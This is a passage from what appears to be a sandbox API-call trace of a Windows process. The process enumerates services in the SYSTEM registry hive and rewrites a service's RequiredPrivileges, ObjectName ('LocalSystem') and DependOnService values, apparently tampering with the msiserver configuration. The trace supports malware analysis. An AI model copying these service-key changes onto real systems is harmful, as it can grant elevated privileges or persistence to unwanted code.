lpName="Mcx2Svc") returned 0x0 [0249.118] RegEnumKeyW (in: hKey=0x154, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0249.119] RegEnumKeyW (in: hKey=0x154, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0249.119] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0249.119] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0249.119] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0249.119] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0249.119] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0249.119] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0249.119] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0249.119] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0249.119] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0249.119] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0249.119] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0249.119] RegEnumKeyW (in: hKey=0x154, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0249.120] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0249.120] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0249.120] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0249.120] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0249.120] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0249.120] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0249.120] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0249.120] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0249.120] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0249.120] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0249.120] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0249.120] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0249.121] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0249.121] RegOpenKeyExW (in: hKey=0x154, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0249.121] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0249.121] RegCloseKey (hKey=0x154) returned 0x0 [0249.121] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0249.121] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0249.121] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0249.121] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0249.121] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0249.121] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0249.121] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0249.121] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0249.121] RegCloseKey (hKey=0x80000002) returned 0x0 [0249.121] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0249.122] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0249.122] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0249.122] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0249.122] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0249.122] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0249.122] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0249.122] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0249.122] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0249.122] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0249.122] RegCloseKey (hKey=0xc4) returned 0x0 [0249.122] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0249.122] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0249.122] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0249.123] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0249.123] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0249.123] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0249.123] RegCloseKey (hKey=0x154) returned 0x0 [0249.123] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0249.123] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0249.123] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0249.123] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0249.123] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0249.123] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0249.123] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0249.123] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0249.123] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0249.124] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.124] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.124] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.124] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.124] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.124] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.124] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.124] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.124] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.124] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.125] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.125] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.125] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.125] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.125] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.125] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0249.125] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0249.125] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0249.125] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0249.125] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0249.125] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.125] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.126] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.126] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.126] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.126] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.126] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.126] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.126] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.126] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.126] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.126] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.126] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.127] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.127] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.127] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0249.127] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0249.127] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0249.127] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0249.127] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0249.127] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.127] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.127] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.127] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.127] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.127] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.128] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.128] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.128] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.128] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.128] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.128] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.128] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0249.155] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0249.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0249.155] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0249.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0249.155] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0249.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0249.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0249.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0249.156] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0249.156] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0249.156] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0249.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0249.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0249.156] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0249.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0249.157] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0249.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0249.157] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0249.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0249.157] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, 